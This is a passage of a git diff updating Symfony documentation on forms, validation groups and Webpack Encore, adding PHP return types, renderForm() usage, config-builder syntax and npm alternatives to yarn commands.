-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'empty_data' => new Blog($this->someDependency),
@@ -96,7 +96,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     use Symfony\Component\OptionsResolver\OptionsResolver;
     // ...
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'empty_data' => function (FormInterface $form) {
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index e497a7556df..9b12bdfec55 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -23,11 +23,7 @@ parameter::
             $this->service2 = $service2;
         }
 
-        /**
-         * @param FormInterface $form
-         * @return array
-         */
-        public function __invoke(FormInterface $form)
+        public function __invoke(FormInterface $form): array
         {
             $groups = [];
 
@@ -42,8 +38,8 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
     // src/Form/MyClassType.php;
     namespace App\Form;
 
-    use App\Validator\ValidationGroupResolver;
-    use Symfony\Component\Form\AbstractType
+    use App\Validation\ValidationGroupResolver;
+    use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     class MyClassType extends AbstractType
@@ -56,7 +52,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
         }
 
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => $this->groupResolver,
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index 2dfe2889de9..a215ed02aba 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -20,7 +20,7 @@ following to the ``configureOptions()`` method::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             // ...
diff --git a/form/without_class.rst b/form/without_class.rst
index 50efc1dbcc7..5f565ebfb52 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -12,28 +12,35 @@ But sometimes, you may want to use a form without a class, and get back an
 array of the submitted data. The ``getData()`` method allows you to do
 exactly that::
 
-    // make sure you've imported the Request namespace above the class
+    // src/Controller/ContactController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function contact(Request $request)
+    class ContactController extends AbstractController
     {
-        $defaultData = ['message' => 'Type your message here'];
-        $form = $this->createFormBuilder($defaultData)
-            ->add('name', TextType::class)
-            ->add('email', EmailType::class)
-            ->add('message', TextareaType::class)
-            ->add('send', SubmitType::class)
-            ->getForm();
-
-        $form->handleRequest($request);
-
-        if ($form->isSubmitted() && $form->isValid()) {
-            // data is an array with "name", "email", and "message" keys
-            $data = $form->getData();
+        public function contact(Request $request): Response
+        {
+            $defaultData = ['message' => 'Type your message here'];
+            $form = $this->createFormBuilder($defaultData)
+                ->add('name', TextType::class)
+                ->add('email', EmailType::class)
+                ->add('message', TextareaType::class)
+                ->add('send', SubmitType::class)
+                ->getForm();
+
+            $form->handleRequest($request);
+
+            if ($form->isSubmitted() && $form->isValid()) {
+                // data is an array with "name", "email", and "message" keys
+                $data = $form->getData();
+            }
+
+            // ... render the form
         }
-
-        // ... render the form
     }
 
 By default, a form actually assumes that you want to work with arrays of
@@ -72,7 +79,7 @@ you want to use. See :doc:`/validation` for more details.
 
 .. _form-option-constraints:
 
-But if the form is not mapped to an object and you instead want to retrieve a
+But if the form is not mapped to an object and you instead want to retrieve an
 array of your submitted data, how can you add constraints to the data of
 your form?
 
@@ -85,7 +92,7 @@ but here's a short example::
     use Symfony\Component\Validator\Constraints\Length;
     use Symfony\Component\Validator\Constraints\NotBlank;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder
             ->add('firstName', TextType::class, [
diff --git a/forms.rst b/forms.rst
index ec5a04fcfc1..937fd0832cd 100644
--- a/forms.rst
+++ b/forms.rst
@@ -49,22 +49,22 @@ following ``Task`` class::
         protected $task;
         protected $dueDate;
 
-        public function getTask()
+        public function getTask(): string
         {
             return $this->task;
         }
 
-        public function setTask($task)
+        public function setTask(string $task): void
         {
             $this->task = $task;
         }
 
-        public function getDueDate()
+        public function getDueDate(): ?\DateTime
         {
             return $this->dueDate;
         }
 
-        public function setDueDate(\DateTime $dueDate = null)
+        public function setDueDate(?\DateTime $dueDate): void
         {
             $this->dueDate = $dueDate;
         }
@@ -122,10 +122,11 @@ use the ``createFormBuilder()`` helper::
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
@@ -178,7 +179,7 @@ implements the interface and provides some utilities::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('task', TextType::class)
@@ -206,7 +207,7 @@ use the ``createForm()`` helper (otherwise, use the ``create()`` method of the
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
@@ -241,7 +242,7 @@ the ``data_class`` option by adding the following to your form type class::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -254,9 +255,7 @@ the ``data_class`` option by adding the following to your form type class::
 Rendering Forms
 ---------------
 
-Now that the form has been created, the next step is to render it. Instead of
-passing the entire form object to the template, use the ``createView()`` method
-to build another object with the visual representation of the form::
+Now that the form has been created, the next step is to render it::
 
     // src/Controller/TaskController.php
     namespace App\Controller;
@@ -265,22 +264,32 @@ to build another object with the visual representation of the form::
     use App\Form\Type\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
             // ...
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
             ]);
         }
     }
 
+In versions prior to Symfony 5.3, controllers used the method
+``$this->render('...', ['form' => $form->createView()])`` to render the form.
+The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
+status code in the response automatically when the submitted form is not valid.
+
+.. versionadded:: 5.3
+
+    The ``renderForm()`` method was introduced in Symfony 5.3.
+
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 
@@ -343,13 +352,13 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include
 Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also
@@ -374,34 +383,35 @@ Processing a form means to translate user-submitted data back to the properties
 of an object. To make this happen, the submitted data from the user must be
 written into the form object::
 
+    // src/Controller/TaskController.php
+
     // ...
     use Symfony\Component\HttpFoundation\Request;
 
-    public function new(Request $request)
+    class TaskController extends AbstractController
     {
-        // just setup a fresh $task object (remove the example data)
-        $task = new Task();
+        public function new(Request $request): Response
+        {
+            // just setup a fresh $task object (remove the example data)
+            $task = new Task();
 
-        $form = $this->createForm(TaskType::class, $task);
+            $form = $this->createForm(TaskType::class, $task);
 
-        $form->handleRequest($request);
-        if ($form->isSubmitted() && $form->isValid()) {
-            // $form->getData() holds the submitted values
-            // but, the original `$task` variable has also been updated
-            $task = $form->getData();
+            $form->handleRequest($request);
+            if ($form->isSubmitted() && $form->isValid()) {
+                // $form->getData() holds the submitted values
+                // but, the original `$task` variable has also been updated
+                $task = $form->getData();
 
-            // ... perform some action, such as saving the task to the database
-            // for example, if Task is a Doctrine entity, save it!
-            // $entityManager = $this->getDoctrine()->getManager();
-            // $entityManager->persist($task);
-            // $entityManager->flush();
+                // ... perform some action, such as saving the task to the database
 
-            return $this->redirectToRoute('task_success');
-        }
+                return $this->redirectToRoute('task_success');
+            }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
-        ]);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
+        }
     }
 
 This controller follows a common pattern for handling forms and has three
@@ -430,18 +440,22 @@ possible paths:
     that prevents the user from being able to hit the "Refresh" button of
     their browser and re-post the data.
 
-.. caution::
-
-    The ``createView()`` method should be called *after* ``handleRequest()`` is
-    called. Otherwise, when using :doc:`form events </form/events>`, changes done
-    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
-
 .. seealso::
 
     If you need more control over exactly when your form is submitted or which
     data is passed to it, you can
     :doc:`use the submit() method to handle form submissions </form/direct_submit>`.
 
+.. tip::
+
+    If you need to render and process the same form in different templates,
+    use the ``render()`` function to :ref:`embed the controller <templates-embed-controllers>`
+    that processes the form:
+
+    .. code-block:: twig
+
+        {{ render(controller('App\\Controller\\TaskController::new')) }}
+
 .. _validating-forms:
 
 Validating Forms
@@ -490,6 +504,23 @@ object.
             protected $dueDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Task.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Task
+        {
+            #[Assert\NotBlank]
+            public $task;
+
+            #[Assert\NotBlank]
+            #[Assert\Type(\DateTime::class)]
+            protected $dueDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -504,7 +535,7 @@ object.
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
@@ -534,7 +565,7 @@ object.
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('task', new NotBlank());
 
@@ -553,6 +584,52 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
+Form Validation Messages
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``legacy_error_messages`` option was introduced in Symfony 5.2
+
+The form types have default error messages that are more clear and
+user-friendly than the ones provided by the validation constraints. To enable
+these new messages set the ``legacy_error_messages`` option to ``false``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            form:
+                legacy_error_messages: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:form legacy-error-messages="false"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->legacyErrorMessages(false);
+        };
+
 Other Common Form Features
 --------------------------
 
@@ -571,11 +648,11 @@ argument of ``createForm()``::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             $task = new Task();
             // use some PHP logic to decide if this form field is required or not
-            $dueDateIsRequired = ...
+            $dueDateIsRequired = ...;
 
             $form = $this->createForm(TaskType::class, $task, [
                 'require_due_date' => $dueDateIsRequired,
@@ -599,7 +676,7 @@ options they accept using the ``configureOptions()`` method::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 // ...,
@@ -623,7 +700,7 @@ Now you can use this new form option inside the ``buildForm()`` method::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -678,8 +755,7 @@ Set the ``label`` option on fields to define their labels explicitly::
 .. tip::
 
     By default, ``<label>`` tags of required fields are rendered with a
-    ``required`` CSS class, so you can display an asterisk for required
-    fields applying these CSS styles:
+    ``required`` CSS class, so you can display an asterisk by applying a CSS style:
 
     .. code-block:: css
 
@@ -699,6 +775,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
     // src/Controller/TaskController.php
     namespace App\Controller;
 
+    // ...
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\Form\Extension\Core\Type\DateType;
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
@@ -706,7 +783,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -727,10 +804,11 @@ When building the form in a class, pass the action and method as form options::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -758,7 +836,8 @@ to the ``form()`` or the ``form_start()`` helper functions:
     that stores this method. The form will be submitted in a normal ``POST``
     request, but :doc:`Symfony's routing </routing>` is capable of detecting the
     ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or
-    ``DELETE`` request. See the :ref:`configuration-framework-http_method_override` option.
+    ``DELETE`` request. The :ref:`configuration-framework-http_method_override`
+    option must be enabled for this to work.
 
 Changing the Form Name
 ~~~~~~~~~~~~~~~~~~~~~~
@@ -775,13 +854,15 @@ method::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Form\FormFactoryInterface;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(FormFactoryInterface $formFactory): Response
         {
             $task = ...;
-            $form = $this->get('form.factory')->createNamed('my_name', TaskType::class, $task);
+            $form = $formFactory->createNamed('my_name', TaskType::class, $task);
 
             // ...
         }
@@ -839,7 +920,7 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism"::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // if you don't define field options, you can omit the second argument
@@ -898,16 +979,20 @@ If you need extra fields in the form that won't be stored in the object (for
 example to add an *"I agree with these terms"* checkbox), set the ``mapped``
 option to ``false`` in those fields::
 
+    // ...
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class TaskType extends AbstractType
     {
-        $builder
-            ->add('task')
-            ->add('dueDate')
-            ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
-            ->add('save', SubmitType::class)
-        ;
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            $builder
+                ->add('task')
+                ->add('dueDate')
+                ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
+                ->add('save', SubmitType::class)
+            ;
+        }
     }
 
 These "unmapped fields" can be set and accessed in a controller with::
@@ -955,6 +1040,7 @@ Form Themes and Customization:
     :maxdepth: 1
 
     /form/bootstrap4
+    /form/bootstrap5
     /form/form_customization
     /form/form_themes
 
diff --git a/frontend.rst b/frontend.rst
index 47d3111dd33..b95f0aa216e 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,7 +61,6 @@ Optimizing
 * :doc:`Using a CDN </frontend/encore/cdn>`
 * :doc:`/frontend/encore/code-splitting`
 * :doc:`/frontend/encore/split-chunks`
-* :doc:`Creating a "Shared" entry for re-used modules </frontend/encore/shared-entry>`
 * :doc:`/frontend/encore/url-loader`
 
 Guides
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 0fe3f5ff987..336acfbd295 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -83,7 +83,7 @@ version string::
                 $this->hashes = $this->loadManifest();
             }
 
-            return isset($this->hashes[$path]) ? $this->hashes[$path] : '';
+            return $this->hashes[$path] ?? '';
         }
 
         public function applyVersion(string $path)
@@ -190,12 +190,13 @@ the :ref:`version_strategy <reference-assets-version-strategy>` option:
 
         // config/packages/framework.php
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
+        use Symfony\Config\FrameworkConfig;
 
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version_strategy' => GulpBusterVersionStrategy::class,
-            ],
-        ]);
+            $framework->assets()
+                ->versionStrategy(GulpBusterVersionStrategy::class)
+            ;
+        };
 
 .. _`gulp-buster`: https://www.npmjs.com/package/gulp-buster
diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 86bdb812b94..c8f4d1b743e 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -12,12 +12,12 @@ To do that, modify the config after fetching it from Encore:
 
     // webpack.config.js
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // ... all Encore config here
 
     // fetch the config, then modify it!
-    var config = Encore.getWebpackConfig();
+    const config = Encore.getWebpackConfig();
 
     // add an extension
     config.resolve.extensions.push('json');
@@ -105,8 +105,12 @@ prefer to build configs separately, pass the ``--config-name`` option:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn encore dev --config-name firstConfig
 
+    # if you use the npm package manager
+    $ npm run dev -- --config-name firstConfig
+
 Next, define the output directories of each build:
 
 .. code-block:: yaml
@@ -118,6 +122,19 @@ Next, define the output directories of each build:
             firstConfig: '%kernel.project_dir%/public/first_build'
             secondConfig: '%kernel.project_dir%/public/second_build'
 
+Also define the asset manifests for each build:
+
+.. code-block:: yaml
+
+    # config/packages/assets.yaml
+    framework:
+        assets:
+            packages:
+                first_build:
+                    json_manifest_path: '%kernel.project_dir%/public/first_build/manifest.json'
+                second_build:
+                    json_manifest_path: '%kernel.project_dir%/public/second_build/manifest.json'
+
 Finally, use the third optional parameter of the ``encore_entry_*_tags()``
 functions to specify which build to use:
 
@@ -208,8 +225,8 @@ The following code is equivalent:
 The following loaders are configurable with ``configureLoaderRule()``:
   - ``javascript`` (alias ``js``)
   - ``css``
-  - ``images``
-  - ``fonts``
+  - ``images`` (but use ``configureImageRule()`` instead)
+  - ``fonts`` (but use ``configureFontRule()`` instead)
   - ``sass`` (alias ``scss``)
   - ``less``
   - ``stylus``
diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 083e45528fc..95ba6086913 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -24,7 +24,7 @@ Need to extend the Babel configuration further? The easiest way is via
             babelConfig.plugins.push('styled-jsx/babel');
         }, {
             // node_modules is not processed through Babel by default
-            // but you can whitelist specific modules to process
+            // but you can allow some specific modules to be processed
             includeNodeModules: ['foundation-sites'],
 
             // or completely control the exclude rule (note that you
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index f1e28cabc37..a41475d8eec 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -1,14 +1,18 @@
 Using Bootstrap CSS & JS
 ========================
 
-Want to use Bootstrap (or something similar) in your project? No problem!
-First, install it. To be able to customize things further, we'll install
-``bootstrap``:
+This article explains how to install and integrate the `Bootstrap CSS framework`_
+in your Symfony application using :doc:`Webpack Encore </frontend>`.
+First, to be able to customize things further, we'll install ``bootstrap``:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn add bootstrap --dev
 
+    # if you use the npm package manager
+    $ npm install bootstrap --save-dev
+
 Importing Bootstrap Styles
 --------------------------
 
@@ -37,11 +41,18 @@ file into ``global.scss``. You can even customize the Bootstrap variables first!
 Importing Bootstrap JavaScript
 ------------------------------
 
-Bootstrap JavaScript requires jQuery and Popper.js, so make sure you have this installed:
+First, install the JavaScript dependencies required by the Bootstrap version
+used in your application:
 
 .. code-block:: terminal
 
-    $ yarn add jquery popper.js --dev
+    # if you use the Yarn package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ yarn add jquery @popperjs/core --dev
+
+    # if you use the npm package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ npm install jquery @popperjs/core --save-dev
 
 Now, require bootstrap from any of your JavaScript files:
 
@@ -79,3 +90,5 @@ and CSS like normal:
     // require 2 CSS files needed
     require('bootstrap-star-rating/css/star-rating.css');
     require('bootstrap-star-rating/themes/krajee-svg/theme.css');
+
+.. _`Bootstrap CSS framework`: https://getbootstrap.com/
diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index a7a2884c13a..267781da3d0 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -6,15 +6,15 @@ built files are uploaded to the CDN, configure it in Encore:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        .setOutputPath('public/build/')
-        // in dev mode, don't use the CDN
-        .setPublicPath('/build');
-        // ...
-    ;
+      Encore
+          .setOutputPath('public/build/')
+          // in dev mode, don't use the CDN
+          .setPublicPath('/build');
+          // ...
+      ;
 
     + if (Encore.isProduction()) {
     +     Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net');
@@ -39,6 +39,10 @@ pages also use the CDN. Fortunately, the
 :ref:`entrypoints.json <encore-entrypointsjson-simple-description>` paths are updated
 to include the full URL to the CDN.
 
+When deploying to a subdirectory of your CDN, you must add the path at the end of your URL -
+e.g. ``Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net/awesome-website')``
+will generate assets URLs like ``https://my-cool-app.com.global.prod.fastly.net/awesome-website/dashboard.js``
+
 If you are using ``Encore.enableIntegrityHashes()`` and your CDN and your domain
 are not the `same-origin`_, you may need to set the ``crossorigin`` option in
 your webpack_encore.yaml configuration to ``anonymous`` or ``use-credentials``
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 7ea5a541622..6981ec2f76a 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -16,7 +16,7 @@ To reference an image tag from inside a JavaScript file, *require* the file:
 
     // returns the final, public path to this file
     // path is relative to this file - e.g. assets/images/logo.png
-    const logoPath = require('../images/logo.png');
+    import logoPath from '../images/logo.png';
 
     let html = `<img src="${logoPath}" alt="ACME logo">`;
 
@@ -28,21 +28,21 @@ Referencing Image files from a Template
 
 To reference an image file from outside of a JavaScript file that's processed by
 Webpack - like a template - you can use the ``copyFiles()`` method to copy those
-files into your final output directory.
+files into your final output directory. First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
-        .setOutputPath('public/build/')
+      Encore
+          // ...
+          .setOutputPath('public/build/')
 
     +     .copyFiles({
     +         from: './assets/images',
     +
     +         // optional target path, relative to the output dir
-    +         //to: 'images/[path][name].[ext]',
+    +         to: 'images/[path][name].[ext]',
     +
     +         // if versioning is enabled, add the file hash too
     +         //to: 'images/[path][name].[hash:8].[ext]',
@@ -51,19 +51,23 @@ files into your final output directory.
     +         //pattern: /\.(png|jpg|jpeg)$/
     +     })
 
-This will copy all files from ``assets/images`` into ``public/build`` (the output
-path). If you have :doc:`versioning enabled <versioning>`, the copied files will
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
+This will copy all files from ``assets/images`` into ``public/build/images``.
+If you have :doc:`versioning enabled <versioning>`, the copied files will
 include a hash based on their content.
 
 To render inside Twig, use the ``asset()`` function:
 
 .. code-block:: html+twig
 
-    {# assets/images/logo.png was copied to public/build/logo.png #}
-    <img src="{{ asset('build/logo.png') }}" alt="ACME logo">
+    {# assets/images/logo.png was copied to public/build/images/logo.png #}
+    <img src="{{ asset('build/images/logo.png') }}" alt="ACME logo">
 
-    {# assets/images/subdir/logo.png was copied to public/build/subdir/logo.png #}
-    <img src="{{ asset('build/subdir/logo.png') }}" alt="ACME logo">
+    {# assets/images/subdir/logo.png was copied to public/build/images/subdir/logo.png #}
+    <img src="{{ asset('build/images/subdir/logo.png') }}" alt="ACME logo">
 
 Make sure you've enabled the :ref:`json_manifest_path <load-manifest-files>` option,
 which tells the ``asset()`` function to read the final paths from the ``manifest.json``
diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 66ce1f7c5cc..6e0957a085c 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -50,14 +50,17 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
     + var webpack = require('webpack');
 
-    Encore
-        // ...
+      Encore
+          // ...
 
-    +     .addPlugin(new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/))
-    ;
+    +     .addPlugin(new webpack.IgnorePlugin({
+              resourceRegExp: /^\.\/locale$/,
+              contextRegExp: /moment$/,
+          }))
+      ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader
 .. _`plugins`: https://webpack.js.org/plugins/
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 4d0904125cb..f0974197f1b 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -6,42 +6,41 @@ While developing, instead of using ``yarn encore dev --watch``, you can use the
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn encore dev-server
 
-This builds and serves the front-end assets from a new server. This server runs at 
-``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. 
-This server does not actually write the files to disk; instead it servers them from memory, 
+    # if you use the npm package manager
+    $ npm run dev-server
+
+This builds and serves the front-end assets from a new server. This server runs at
+``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
+This server does not actually write the files to disk; instead it serves them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the 
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are 
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), 
+As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
+``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
+:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
 you're done: the paths in your templates will automatically point to the dev server.
 
-Enabling HTTPS using the Symfony Web Server
--------------------------------------------
-
-If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
-you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
-server SSL certificate:
-
-.. code-block:: terminal
-
-    # Unix-based systems
-    $ yarn dev-server --https --pfx=$HOME/.symfony/certs/default.p12
-
-    # Windows
-    $ encore dev-server --https --pfx=%UserProfile%\.symfony\certs\default.p12
-
 dev-server Options
 ------------------
 
+.. caution::
+
+    Encore uses ``webpack-dev-server`` version 4, which at the time of Encore's
+    1.0 release was still in beta and was not documented. See the `4.0 CHANGELOG`_
+    for changes.
+
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --https --port 9000
+    # if you use the Yarn package manager
+    $ yarn encore dev-server --port 9000
+
+    # if you use the npm package manager
+    $ npm run dev-server -- --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
@@ -66,53 +65,72 @@ method in your ``webpack.config.js`` file:
 
     The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4.
 
-Hot Module Replacement HMR
---------------------------
+Enabling HTTPS using the Symfony Web Server
+-------------------------------------------
 
-Encore *does* support `HMR`_ for :doc:`Vue.js </frontend/encore/vuejs>`, but
-does *not* work for styles anywhere at this time. To activate it, pass the ``--hot``
-option:
+If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
+you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
+server SSL certificate:
 
-.. code-block:: terminal
+.. code-block:: diff
 
-    $ ./node_modules/.bin/encore dev-server --hot
+      // webpack.config.js
+      // ...
+    + const path = require('path');
 
-If you want to use SSL with self-signed certificates, add the ``--https``,
-``--pfx=``, and  ``--allowed-hosts`` options to the ``dev-server`` command in
-the ``package.json`` file:
+      Encore
+          // ...
 
